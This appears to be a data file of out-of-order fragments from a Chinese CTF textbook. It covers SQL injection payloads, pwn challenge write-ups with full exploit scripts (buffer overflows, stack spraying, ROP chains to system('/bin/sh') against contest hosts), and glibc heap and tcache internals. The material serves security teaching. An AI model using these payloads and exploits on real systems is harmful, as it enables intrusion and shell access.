(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 注意，这里我们采用的是十六进制编码后的表名。如果想采用非十六进制编码的表名则需要添加引号，但是这时候有可能会出现单引号导致的报错。 以上的Payload可以在sqli-labs的level1中复现，如图2-2所示。 图2-2 floor报错回显示例 在这里，我们只演示爆破数据库版本的Payload，关于其他Payload，读者可自行研究并复现。 3.exp 接下来是exp函数报错，exp()报错的本质原因是溢出报错。我们可以在MySQL中进行如图2-3所示的操作。 图2-3 exp报错回显示例 同样使用前面的例子，Payload为： ?id=1' and exp(~(select * from (select user())x))%23"},
    {"text": "未知 12.6 真题解析 12.6.1 {ZCTF-2015}guess(PWN100) 该题的解题逻辑比较简单，gets的缓冲区是栈上的，可用任意长度读入，而栈的缓冲区长度是40，如图12-33所示。 图12-33 guess程序反编译代码 由于直接与flag进行比较，所以这里flag是存于内存中的。由于做了限制，因此必须以“ZCTF{”开头，而且长度一定，所以这里首先需要根据返回的结果判断长度是否正确。 长度开始为32，后来改为33。 由于栈的前面存在主函数main（int argc，char**argv）的参数值，而这个参数argv[0]就是程序的名字，出现异常时会显示在错误信息的后面，所以只要用特定地址覆盖栈中argv[0]的地址就可以达到任意地址泄露的目的，从而达到泄露原flag信息的目的。 由于“::s”（flag存放的地址）最后会与输入值做异或操作，所以最后只要反异或操作一下就可以了。开始时“ZCTF{”这个地方异或后肯定为0，所以打印的时候，地址应该往后靠一点，如+5。另外，选取的异或数也可能与flag中的相同，存在0截断，所以可以多打印些地址，这里直接选用“b”。我们发现其能够全部泄露出来（第五个5以后的信息）。 代码如下： #from zio import * from pwn import * #target = \"./guess\" target = (\"115.28.27.103\", 22222) def get_io(target): #r_m = COLORED(RAW, \"green\") #w_m = COLORED(RAW, \"blue\") #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) #io = process(target, timeout = 9999) io = remote(\"115.28.27.103\", 22222, timeout = 9999) return io def leak_len(io, length): io.readuntil(\"please guess the flag:\\n\") flag_addr = 0x6010C0 payload = 'a' * length + \"\\x00\" #io.gdb_hint() io.writeline(payload) result = io.readuntil(\"\\n\") print result #io.close(0) if \"len error\" in result: return False return True def pwn(io): #io.read_until(\"please guess the flag:\\n\") io.readuntil(\"please guess the flag:\\n\") \"\"\" [stack] : 0x7fffff422210 --> 0x73736575672f2e (b'./guess') !![stack] : 0x7fffff421278 --> 0x7fffff422210 --> 0x73736575672f2e (b'./guess') [stack] : 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess') !![stack] : 0x7fffff4215e0 --> 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess') [stack] : 0x7fffc0eb7bfa --> 0x73736575672f6e (b'n/guess') [stack] : 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess') !![stack] : 0x7fffc0eb6c48 --> 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess') arg[0]: 0x7fffc0eb67c0 ('a' <repeats 15 times>...) \"\"\" flag_addr = 0x6010C0 + 5 #+ 3 + 6 length = 34 payload = \"ZCTF{\" payload = payload.ljust(length, 'b') payload += \"\\x00\" payload = payload.ljust(0x7fffff421278 - 0x7fffff421150, 'a') #payload = payload.ljust(0x100, 'a') payload += p64(flag_addr) #payload = 'a' * (0x7fffc0eb68e8 - 0x7fffc0eb67c0) + p64(flag_addr) raw_input() #io.gdb_hint() #io.writeline(payload) #payload = 'a' * 0x50 io.writeline(payload) #io.interact() io.interactive() \"\"\" #leak length = 9 for i in range(32, 256): print i io = get_io(target) if leak_len(io, i) == True: break exit(0) \"\"\" io = get_io(target) pwn(io) 然后进行异或操作即可，代码如下： a = '0\\x07\\x03SSS;=\\x0cQQ&=\\x16R=[\\x17\\x07\\x111=\\x04\\x0e\"\\x05]\\x1fh' result = [] for i in a: result.append(chr(ord(i) ^ ord('b'))) print \"\".join(result)"},
    {"text": "未知 12.6.2 {ZCTF-2015}spell(PWN300) 这道题的逻辑还是比较简单的，读取用户数据，然后与从驱动中读到的数据进行对比，若符合要求，则打印flag。 查看驱动代码，可以发现有两个ioctl指令，具体如下。 ·0x80086B01：返回8字节随机数。 ·0x80086B02：返回时间字符串。 spell程序编译代码如图12-34所示。 图12-34 spell程序反编译代码 在最初的时候会打印一次时间，但是这里只是精确到分钟。 对于用户输入的串，与驱动进行比较时，会进行多轮次比较，确保其长度符合规律。先将长度求出，得到56，每8字节为一组，与驱动中读出的数据进行异或操作，如果每次异或的结果都为“zctfflag”，则表示操作成功。 这里存在一个问题。 读取用户输入的时候，会读取len+2字节的长度，而且需要将len+1字节的位置置为“\\n”，那么此时如果输入长度刚好为256字节，则可以读取258字节长度对应的内容，如图12-35所示。 图12-35 代码读取部分溢出关键点 在cpy函数中，赋值结束是按照“\\n”来确定，所以可以赋值257字节，如图12-36所示。 图12-36 代码复制部分溢出关键点 而dest_buff缓冲区只有256字节，其后跟着v13，为第二次获取驱动中数据函数ioctl的指令代码，如图12-37所示。 图12-37 参数的相对栈偏移 所以可以覆盖v13最低字节，此时如果将其覆盖成0x02，则获取的结果就是8字节的时间，且时间精度是分钟，所以可以将第一次的时间近似看成第二次的时间，从而构造合适的输入数据。 代码具体如下： from zio import * target = (\"115.28.27.103\", 33333) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) #io = process(target, timeout = 9999) return io def pwn(io): io.read_until(\"How long of your spell:\") io.writeline(\"256\") io.read_until(\"At \") time_info = io.read_until(\": \") io.read_until(\"you enter the spell: \") time_info = time_info + \"\\x00\" info = \"zctfflag\" result = [] padding = \"\" for i in range(8): padding += chr(ord(time_info[i]) ^ ord(info[i])) payload = padding * 7 payload += \"\\x00\" payload = payload.ljust(256, 'a') payload += '\\x02' io.writeline(payload) io.interact() io = get_io(target) pwn(io)"},
    {"text": "该检测要求from_pos里的数据必须是大小写交叉的，同时can_move_E3D函数会根据from_pos来检测移动是否符合规矩，比如车走直线、马走日、象走田等。"},
    {"text": "图12-40 chess程序检测位合法性的反编译代码 图12-41 chess程序检测逻辑的反编译代码 只检测源点，没有检测目的点的值是否合法，而且检测点的合法性也存在问题。"},
    {"text": "可以发现，栈信息如下（chess_map中用于存放棋盘上的信息，大小为64字节）： … ebp ret_addr … chess_map[0..64] … 图12-43 chess程序主函数的反编译代码 图12-44 chess程序主功能函数的反编译代码 所以，如果移动chess_map中的数据，往前可以覆盖到ebp（其实并没有什么用）。 其实，应该查看进入input_run或者show_map的栈信息，如下： … ---input_run stack---(or ---show_map stack---) … … ---play_game stack--- … ----main stack--- ebp ret_addr … chess_map参数 … chess_map[0..64] … 进入show_map中，chess_map参数是根据play_game中的参数得到的，所以可以修改进入play_game时压在栈顶的chess_map参数，这个参数值离chess_map缓冲区的地址不远，相差0x10，因此修改这个地址就可以泄露信息。"},
    {"text": "泄露信息：因为r（车）的移动性比较好，所以一般选用该棋子来进行利用，由于打印棋盘的参数中chess_map缓冲区的距离就是0x10，所以将r移动到左上角以后，再往前面移动16位就可以了（From to：a8->Q8）。 覆盖ebp获取控制权：可以计算出main函数的ebp位置与chess_map缓冲区的距离为0x18，再往前面移动24位就可以了（From to:a8->J8）。"},
    {"text": "2）移动K到棋盘底部，与小k相邻，这样可以方便最后成功泄露信息，因为修改chess_map参数后，棋盘的打印信息会发生变化，一旦检测到棋盘上面没有kK，就会判断游戏结束，所以将两者连在一起往后放，以确保泄露信息的时候游戏依然正常。"},
    {"text": "3）泄露信息，移动棋子用“r”覆盖chess_map在栈上作为传入参数的最后一个字节，变成“0x******72”（这个地方选择0x72而不是0x52，就是为了尽量将输出地址往后挪，以便泄露更多的信息）。"},
    {"text": "4）Spray栈，根据泄露的信息获取system和/bin/sh的地址，构造Payload，一直作为参数进行输入，一旦出现输入错误，由于获取参数的函数是递归进行的，所以栈会不断地往前挪，导致“0x****52**”碰撞的机会比较大（0x52比0x72小是有好处的，防止ebp中该位置的值原来就比0x72小，覆盖不到）。"},
    {"text": "图12-45 利用成功截图 代码如下： from zio import * target = \"./chess\"#(\"localhost\", 7575) def get_io(target): read_mode = COLORED(RAW, \"green\") write_mode = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = read_mode, print_write = write_mode) return io def from_to(io, from_buff, to_buff): io.read_until(\"From>> \") io.write(from_buff + \"\\n\") io.read_until(\"To >> \") io.write(to_buff + \"\\n\") def run_seq(io, seq): for item in seq: from_to(io, item[0:2], item[2:4]) def trim_diff_buff(data): buff = data for i in range(1, 9): info = \"%d|\"%i buff = buff.replace(info, '') info = \"|%d\\n\"%i buff = buff.replace(info, '') return buff def spray_buff(io, base_buff): payload = \"a\" * 8 while len(payload) + len(base_buff) < 1023: payload += base_buff #io.gdb_hint() for i in range(50): from_to(io, payload, payload) def pwn(io): from_buff = \"\" to_buff = \"\" #[ebp + 8 ]= arg chess_map #[0xffffd550]= arg 0xffffd560 #change [0xffffd560] = 0xffffd500 + 'r' #chess_map_addr = 0xffffd560 #chess_map_addr_modify = 0xffffd572 #run_buff = 0xffffcb20 #main_ebp = 0xffffd548 #[ebp] = main_ebp = 0xffffd548 seq = [] seq.append('b2b3') seq.append('a8J8') #modify main_ebp 0xooooxxoo seq.append('a1a8') #move 'r' to head seq.append('e7e6') seq.append('b3b2') seq.append('e8e7') seq.append('a2a3') seq.append('e7f6') seq.append('a3a2') seq.append('f6g5') seq.append('a2a3') seq.append('g5h4') seq.append('a3a2') seq.append('h4h3') seq.append('a2a3') seq.append('h3h2') seq.append('a3a2') seq.append('h2h1') seq.append('b2b3') seq.append('h1g1') seq.append('b3b2') seq.append('g1f1') seq.append('a8Q8') #modify chess_map_addr run_seq(io, seq) #io.interact() #test #base_buff = ('a' * 4 * 2 + 'b' * 4 * 2) #spray_buff(io, base_buff) # #io.gdb_hint() #io.interact() data = io.read_until([\"Invalid move, try again\", \" move...\"]) print \"data---\" print data if \"Invalid move, try again\" in data: io.close() return ; pos_b = data.find(\"kK\") if pos_b == -1: return pos_b = data.find(\" /--------\\\\\\n\") + len(\" /--------\\\\\\n\") pos_e = data.find(\" \\--------/\\n\") origin_data = data data = data[pos_b:pos_e] chess_map = trim_diff_buff(data) pos_b = chess_map.find(\"kK \") + 4 if pos_b > 64 - 12: return stack_offset = 64 - pos_b print \"stack_offset:\", stack_offset print [c for c in chess_map] pos_b = chess_map.find(\"kK \") + 4 print [c for c in chess_map] print hex(l32(chess_map[pos_b:pos_b + 4])) print hex(l32(chess_map[pos_b+4:pos_b+4 + 4])) print hex(l32(chess_map[pos_b+8:pos_b+8 + 4])) print hex(l32(chess_map[pos_b+0xC:pos_b+0xC + 4])) #io.gdb_hint() text_addr = l32(chess_map[pos_b:pos_b + 4]) libc_addr = l32(chess_map[pos_b+12:pos_b+12 + 4]) text_base = text_addr - (0xf7747680 - (0xf77473c8 - 0x13c8)) offset___libc_start_main_ret = 0x19a83 offset_system = 0x0003e800 offset_str_bin_sh = 0x15f9e4 is_local = True if is_local == False: offset___libc_start_main_ret = 0x19a63 offset_system = 0x0003e360 offset_str_bin_sh = 0x15d1a9 libc_base = libc_addr - offset___libc_start_main_ret system_addr = libc_base + offset_system binsh_addr = libc_base + offset_str_bin_sh base_buff = l32(system_addr)*2 + l32(binsh_addr)*2 spray_buff(io, base_buff) print \"text_base:\", hex(text_base) print \"break_pos:\", hex(text_base + 0x1605) print \"system_addr:\", hex(system_addr) print origin_data kK_pos = pos_b = origin_data.find(\"kK\") pos_b = origin_data.find(\"|\", pos_b + 1) while origin_data[pos_b + 2] != '\\n': pos_b = origin_data.find(\"|\", pos_b + 1) line_pos = int(origin_data[pos_b + 1]) K_pos = 8 - (pos_b - (kK_pos + 1)) k_pos = 8 - (pos_b - kK_pos) from_buff = chr(ord('a')+K_pos) + \"%d\"%line_pos to_buff += chr(ord('a')+k_pos) + \"%d\"%line_pos print from_buff print to_buff from_to(io, from_buff, to_buff) io.interact() while True: try: io = get_io(target) pwn(io) except Exception, e: pass else: pass finally: io.close() 参考： 1） http://blog.naver.com/PostView.nhn?blogId=mathboy7&logNo=220335795719&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1 。"},
    {"text": "未知 12.6.4 {RCTF-2015}Welpwn(PWN200) 该题明显是栈溢出，不过因为是0字符截断，所以虽然同样是控制返回值和参数，但此题选择只覆盖rbp的最低字节使其为0。这样，在main函数返回时，会进行一次栈转移。 因此在输入的时候构造了一个32字节的ROP，通过栈喷射，可以更大概率地确保栈转移后跳入ROP开始的位置上。welpwn逻辑的反编译代码如图12-46所示。 图12-46 welpwn逻辑的反编译代码 完整的exp代码如下： from zio import * #target = './welpwn' target = ('180.76.178.48', 6666) def exp(target): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) io.read_until('RCTF\\n') payload = 'a'*0x10+'\\x00'*8 puts_plt = 0x00000000004005A0 puts_got = 0x0000000000601018 pop_rdi_ret = 0x00000000004008A3 main = 0x00000000004007CD rop = l64(pop_rdi_ret)+l64(puts_got)+l64(puts_plt)+l64(main) while len(payload)<1024-len(rop): payload += rop payload = payload.ljust(1024, 'a') io.write(payload) io.read_until('a'*0x10) d = io.read_until('\\n').strip('\\n') puts_addr = l64(d.ljust(8, '\\x00')) print hex(puts_addr) if puts_addr&0xfff != 0xe30: return 0 libc_base = puts_addr- 0x000000000006FE30 system_addr = libc_base + 0x0000000000046640 binsh_addr = libc_base + 0x000000000017CCDB payload2 = 'a'*0x10+'\\x00'*8+'a'*0x10 print hex(libc_base) rop = l64(pop_rdi_ret)+l64(binsh_addr)+l64(system_addr)+l64(main) while len(payload2)<1024: payload2 += rop io.writeline(payload2) print 'get shell' io.interact() exp(target) 未知 第13章 堆相关漏洞 13.1 堆介绍 堆（Heap）主要是指用户动态申请的内存（如调用malloc、alloc、alloca、new等函数），CTF比赛中有关堆的PWN题大多是基于Linux的ptmalloc2-glibc堆块管理机制的。本章的内容也主要以此为前提，若想了解更多PWN题型，读者可自行拓展。 本章只是对CTF赛题中常用的堆结构做了简单介绍，以方便读者入门，更多关于堆块的介绍，网上很多资料讲得非常详细，如 https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ ，读者可自行查阅。 glibc malloc源码中有三种最基本的堆块数据结构，分别为heap_info、malloc_state、malloc_chunk，为了使问题简单化，这里着重介绍单线程的malloc_chunk，因为CTF比赛中关于堆的题目，绝大多数是考察这方面的内容，另外在对堆块熟悉之后，再去了解其他部分会更容易理解。"},
    {"text": "未知 13.1.1 堆基本数据结构chunk 在glibc中，chunk是内存分配的基本单位，可分为alloced chunk、free chunk、top chunk、last remainder chunk四种。第四种用得比较少，这里着重介绍前三种。malloc_chunk的数据结构如下： struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; chunk总结构示意如图13-1所示。 图13-1 chunk总结构示意图 在内存中，堆块的对齐规则具体如下。 ·32位系统中，按0x8字节对齐，chunk最小为0x10字节。 ·64位系统中，按0x10字节对齐，chunk最小为0x20字节。 关于对齐方式，举个简单例子。在64位系统下，用malloc（size）申请时，size取值在0x69~0x78之间，堆块大小都是0x80，具体机制可参见malloc.c源码，也可参见alloced chunk中的图（这里指图13-2）。 1）alloced chunk:已分配（使用）的堆块，其中该块的fd、bk域以及下一堆块的pre_size域都属于数据区，如图13-2所示。将下一堆块size域中的p标志位置为1。 图13-2 alloced chunk结构示意图 2）free chunk：空闲的堆块，其中的fd、bk属于链表指针，有特定的含义（后面会有详细介绍），下一堆块的pre_size为当前释放块的大小（含头部信息），如图13-3所示。下一堆块size域中的p标志位通常会被设置为0（存在例外，如fast bin等）。 3）top chunk：空闲块，该块位于前两种堆块之后，其堆头结构与alloced块的结构类似，重要的是pre_size域和size域。 图13-3 free chunk结构示意图 关于size域中的标志位N、M、P，在图13-1中已经说明了其作用，具体定义如下。 ·N位：#define NON_MAIN_ARENA 0x4。用于表示是否属于主线程，0表示主线程的堆块结构，1表示子线程的堆块结构。 ·M位：#define IS_MMAPPED 0x2。用于表示是否由mmap分配，0表示由堆块中的top chunk分裂产生，1表示由mmap分配。 ·P位：#define PREV_INUSE 0x1。用于表示上一堆块是否处于空闲状态，0表示处于空闲状态，1表示处于使用状态（被分配），此位主要用来在判断free时是否能与上一堆块进行合并。不过，也存在例外情况，如fastbin，为了满足快速分配小内存的需求，通常fastbin中的p位保持为1，不参与合并。 未知 13.1.2 堆空闲块管理结构bin 当alloced chunk被释放后，会放入bin或者合并到top chunk中去。bin的主要作用是加快分配速度，其通过链表方式（chunk结构体中的fd和bk指针）进行管理。 1.fast bin fast bin中包含一维指针数组头，用于管理小堆块。在64位系统中，保存的堆块大小在0x20~0x80之间；在32位系统中，其大小区间为0x10~0x40（x86），该区间两边的值都包含在内。fast bin按单链表结构进行组织，用fd指针指向下一堆块，采用LIFO（Last In First Out）机制。在fast bin中，堆块的p标志位都为1，处于占用状态，以防止释放时对fast bin进行合并，用于快速分配小内存。 2.其他bin 其他bin包含一维指针数组头，其按双链表结构进行组织，采用FIFO（First In First Out）机制，不同大小的堆块，通常链接在不同的指针数组里面，具体说明如下。 ·bin1：unsorted bin。主要用于存放刚释放的堆块以及大堆块分配后剩余的堆块，大小没有限制。 ·bin2~bin63：small bin。主要用于保存在0x10~0x400（x86，对x64是0x20~0x800）区间的堆块，同一条链表中堆块的大小相同，如x86下bin2对应于0x10，bin3对应于0x18…… ·bin64~bin126：large bin。主要用来存放大小大于0x400（x86，对x64是0x800）的堆块，同一条链表中堆块的大小不一定相同，在一定范围内，按照从小到大的顺序进行排列。 了解这些基本的数据结构信息，对于堆块入门已经足够了，关于堆块的其他更多内容，读者可自行查阅资料或者查看glibc源码进行补充。"},
    {"text": "未知 13.1.3 malloc基本规则 malloc的规则可以对照malloc的源码中的_int_malloc函数来查看，这里主要介绍最基本的情况。最开始glibc所管理的内存空间是用brk系统调用产生的内存空间，如果malloc申请的空间太大，超过了现有的空闲内存，则会调用brk或mmap继续产生内存空间。 对于malloc申请一般大小（不超过现有空闲内存大小）的内存，其简化版流程（更详细的内容可参考malloc源码）如下。 首先将size按照一定规则对齐，得到最终要分配的大小size_real，具体如下（本块的pre_size和下一块的pre_size刚好抵消）。 ·x86：size+4按照0x10字节对齐。 ·x64：size+8按照0x20字节对齐。 1）检查size_real是否符合fast bin的大小，若是则查看fast bin中对应size_real的那条链表中是否存在堆块，若是则分配返回，否则进入第2步。 2）检查size_real是否符合small bin的大小，若是则查看small bin中对应size_real的那条链表中是否存在堆块，若是则分配返回，否则进入第3步。 3）检查size_real是否符合large bin的大小，若是则调用malloc_consolidate函数对fast bin中所有的堆块进行合并，其过程为将fast bin中的堆块取出，清除下一块的p标志位并进行堆块合并，将最终的堆块放入unsorted bin。然后在small bin和large bin中找到适合size_real大小的块。若找到则分配，并将多余的部分放入unsorted bin，否则进入第4步。 4）检查top chunk的大小是否符合size_real的大小，若是则分配前面一部分，并重新设置top chunk，否则调用malloc_consolidate函数对fast bin中的所有堆块进行合并，若依然不够，则借助系统调用来开辟新空间进行分配，若还是无法满足，则在最后返回失败。 这里面值得注意的点如下。 1）fast bin的分配规则是LIFO。 2）malloc_consolidate函数调用的时机：它在合并时会检查前后的块是否已经释放，并触发unlink。 未知 13.1.4 free基本规则 堆块在释放时会有一系列的检查，可以与源码进行对照。在这里，将对一些关键的地方进行说明。为了使说明看起来简洁一些，就不展示源码了。 1）释放（free）时首先会检查地址是否对齐，并根据size找到下一块的位置，检查其p标志位是否置为1。 2）检查释放块的size是否符合fast bin的大小区间，若是则直接放入fast bin，并保持下一堆块中的p标志位为1不变（这样可以避免在前后块释放时进行堆块合并，以方便快速分配小内存），否则进入第3步。 3）若本堆块size域中的p标志位为0（前一堆块处于释放状态），则利用本块的pre_size找到前一堆块的开头，将其从bin链表中摘除（unlink），并合并这两个块，得到新的释放块。 4）根据size找到下一堆块，如果是top chunk，则直接合并到top chunk中去，直接返回。否则检查后一堆块是否处于释放状态（通过检查下一堆块的下一堆块的p标志位是否为0）。将其从bin链表中摘除（unlink），并合并这两块，得到新的释放块。 5）将上述合并得到的最终堆块放入unsorted bin中去。 这里有以下几个值得注意的点： 1）合并时无论向前向后都只合并相邻的堆块，不再往更前或者更后继续合并。 2）释放检查时，p标志位很重要，大小属于fast bin的堆块在释放时不进行合并，会直接被放进fast bin中。在malloc_consolidate时会清除fast bin中所对应的堆块下一块的p标志位，方便对其进行合并。 最基本的unlink定义如下： #define unlink(P, BK, FD) { \\ FD = P->fd; \\ BK = P->bk; \\ FD->bk = BK; \\ BK->fd = FD; \\ } 上述代码直接进行了如下赋值： *(fd + 24) = bk *(bk + 16) = fd 新式的unlink中加入了更多的限制条件，具体参见unlink的利用方法。"},
    {"text": "未知 13.1.5 tcache tcache是libc2.26之后引进的一种新机制，广泛应用于18.04之后的系统，其管理方式类似于fast bin，每条链上最多可以有7个chunk，只有tcache满了以后，chunk才会被放回其他链表，而在进行malloc操作时，tcache会被首先分配。 1.tcache的管理结构 tcache的两个重要结构体为tcache_entry和tcache_pertheread_struct，具体如下。 tcache_entry结构体： typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; tcache_pertheread_struct结构体： typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; 初始化的管理指针： static __thread tcache_perthread_struct *tcache = NULL; 其中TCACHE_MAX_BINS默认值为64，堆空间起始部分都会有一块先于用户申请分配的堆空间，大小为0x250。 2.tcache的管理函数 tcache的两个重要的管理函数为tcache_get()和tcache_put()，分别用于获取tcache和释放tcache，代码具体如下。 获取tcache的代码如下： static void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; } 释放tcache的代码如下： static void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache的主要作用是提高堆的使用效率，上述两个函数会在堆函数_int_free和__libc_malloc的开头被调用，对于tcache，需要了解如下几个关键点。 1）tcache的管理是单链表，采用LIFO原则。 2）tcache的管理结构存在于堆中，默认有64个entry，每个entry最多存放7个chunk。 3）tcache的next指针指向chunk的数据区（与fast bin不同，fast bin指向chunk头）。 4）tcache的某个entry被占满以后，符合该entry大小的chunk被free后的规则和原有机制相同（未使用tcache时）。 对于tcache的利用，大多较为简单，因为没有太多的安全检查机制。需要注意的是，在libc2.29之后，加入了对tcache的double free的检测，管理结构代码如下： typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; 每次释放时都会检查该chunk是否已经存放在tcache中，代码如下： if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr (\"free(): double free detected in tcache 2\"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } 一般来说，可以参考原有的堆利用方式利用tcache，由于大部分都是通过变异而来的，因此具体利用方式在此不再赘述。往年经典例题如下： 1）2018-hitcon-babytache。 2）2018-hitcon-chridrentache。 3）2018-bctf-house of atum。 未知 2.4 Bool盲注 Bool盲注通常是由于开发者将报错信息屏蔽而导致的，但是网页中真和假有着不同的回显，比如为真时返回access，为假时返回false；或者为真时返回正常页面，为假时跳转到错误页面等。 Bool盲注中通常会配套使用一些判断真假的语句来进行判定。常用的发现Bool盲注的方法是在输入点后面添加and 1=1和and 1=2（该Payload应在怀疑是整型注入的情况下使用）。 Bool盲注的原理是如果题目后端拼接了SQL语句，and 1=1为真时不会影响执行结果，但是and 1=2为假，页面则可能会没有正常的回显。 有时候我们可能会遇到将1=1过滤掉的SQL注入点，这时候我们可以通过修改关键字来绕过过滤，比如将关键字修改为不常见的数值（如1352=1352等）。 在字符串型注入的时候我们还需要绕过单引号，将Payload修改为如下格式'and'1'='1和'or'1'='2来闭合单引号。 在Bool盲注中，我们经常使用的函数有以下几种分类，具体如表2-1～表2-3所示。 （1）截取函数 表2-1 截取函数及其说明 （2）转换函数 表2-2 转换函数及其说明 （3）比较函数 表2-3 比较函数及其说明 注意： 在盲注的题目及真实的渗透测试中，有时候使用Sqlmap可能会存在误报。原因在于在一些数据返回页面及接口返回数据时可能会存在返回的是随机字符串（如，时间戳或防止CSRF的Token等）导致页面的长度发生变化的情况，这时候我们的工具及自动化检测脚本会出现误报。我们需要冷静地对Payload和返回结果进行分析。"},
    {"text": "未知 13.2 漏洞类型 关于堆的漏洞及其利用方法有很多，随着对glibc的修补，很多以前的方法很难继续使用，如Phantasmal Phantasmagoria发表的文章“The Malloc Maleficarum-Glibc Malloc Exploitation Techniques”中的The House of Prime、The House of Mind、The House of Lore等，在这里仅是介绍目前能用的一些方法，其他可以作为扩展自行了解。 1.最基本的堆漏洞 最基本的堆漏洞主要是指由于对堆内容的类型判断不明而形成的错误引用。现在的比赛中很少（几乎不会）直接出现这类问题，大部分需要将复杂的堆问题转化成这种情况。基本堆漏洞对于理解堆的使用很有帮助。 通常情况下，可以使用堆块来存储复杂的结构体，其中可能会包括函数指针、变量、数组等成员。如果一个结构体的数据按照其他结构体格式来解析，那么只要在特定的域布置好数据，就会导致漏洞的发生。示意如图13-4所示。 结合图13-4可知，如果struct_A类型的对象解析成了struct_B，那么存储在content中的数据就会被解析成info、func_ptr、data_ptr、address。而func_ptr是函数指针，如果发生调用，那么控制流就会被输入的数据劫持，转向所构造的content里面的地址中。而data_ptr是数据指针，如果发生对该数据指针的访问，若能够读取，就能发送信息泄露，如果能够写入，就能实现数据的改写。 图13-4 结构体混淆示意图 2.堆缓冲区溢出 （1）常规堆溢出 堆缓冲区溢出与栈缓冲区溢出类似，是指在堆上的缓冲区被填入了过多的数据，超出了边界，导致堆中原有的数据被覆盖。通常可分为两种情况，具体如下。 1）覆盖本堆块内部数据，通常是发生在结构体中，如果结构体中的数组溢出，则覆盖后续变量。 2）覆盖后续堆块数据，这不仅影响了后续堆块中的数据，也破坏了堆块的结构。 这两种情况都有相应的利用方式。这两种情况的示意分别如图13-5和图13-6所示。 图13-5 堆块内部溢出覆盖情况 图13-6 堆块间溢出覆盖情况 对于第一种情况，可类比最基本的堆漏洞来看，或者对照栈缓冲区溢出的利用方式，没有太多技巧性的知识，可能需要根据程序逻辑来进行构造。 对于第二种情况，如果是根据覆盖后续堆块中的数据部分来利用的，那么与第一种情况类似；如果是根据破坏了后续堆块的堆结构信息来利用的，那么可根据13.3节中介绍的方法来进行利用。 （2）Off By One 在堆缓冲区溢出中，有一种比较特殊的情况，只能溢出1字节，称为Off By One。在CTF赛题中，这种情况通常多位于堆块末尾，溢出的1字节恰好能够覆盖下一堆块的size域的最低位，这种漏洞可能比较难利用，但其相关的构造技巧已经成为一种固定的套路，具体请参见13.3.2节中unlink的利用方式。 3.Use After Free Use After Free（UAF）即释放后使用漏洞。若堆指针在释放后未被置空，形成悬挂指针（也称野指针），当下次访问该指针时，依然能够访问到原指针所指向的堆内容，就会形成漏洞。通常，UAF漏洞的利用需要根据具体情况来进行分析，以判断其是否具有信息泄露和信息修改的功能。 4.Double Free Double Free漏洞主要是指对指针存在多次释放的情况，是UAF中较为特殊的一种，针对的是用于释放的函数。多次释放能够使堆块发生重叠，前后申请的堆块可能会指向同一块内存，这种情况下，可将其转换为最基本的堆问题。另外，还可以构造特殊的堆结构，从而运用针对堆结构的利用方法。"},
    {"text": "未知 13.3 利用方法 13.3.1 最基本的堆利用 最基本的堆利用，主要是针对堆的最基本的漏洞及部分缓冲区覆盖的情况进行利用，不涉及堆结构的利用方法。对于堆缓冲区覆盖变量的情况，与栈类似，只需要逻辑判断就能识别出来，在此不再赘述，这里主要针对类型转换来进行说明。 示例代码如下： #include <stdio.h> void target_func() { printf(\"Hacked\\n\"); } void show_info_A(char *info) { printf(\"%s\\n\", info); } struct struct_A { int type; int size; char A_info[0x20]; void (*show_info_ptr)(char *); }; struct struct_B { int type; int size; char B_info[0x40]; }; void show_info(void *data, int type) { printf(\"in show_info:%d\\n\", type); if (type == 0) { printf(\"in 0\\n\"); struct struct_A *struct_A_ptr = (struct struct_A *)data; struct_A_ptr->show_info_ptr(struct_A_ptr->A_info); } else if (type == 1) { printf(\"in 1\\n\"); struct struct_B *struct_B_ptr = (struct struct_B *)data; printf(\"%s\\n\", struct_B_ptr->B_info); } } int main() { struct struct_A * var_a; struct struct_B * var_b; var_a = malloc(sizeof(struct struct_A)); var_a->type = 0; strcpy(var_a->A_info, \"A_info\"); var_a->show_info_ptr = show_info_A; var_a->size = strlen(var_a->A_info); var_b = malloc(sizeof(struct struct_B)); scanf(\"%d\", &var_b->type); getchar(); gets(var_b->B_info); var_b->size = strlen(var_b->B_info); show_info(var_a, var_a->type); show_info(var_b, var_b->type); } 在上述示例中，打印函数void show_info（void*data,int type），可根据类型来打印不同的结构体，而结构体struct 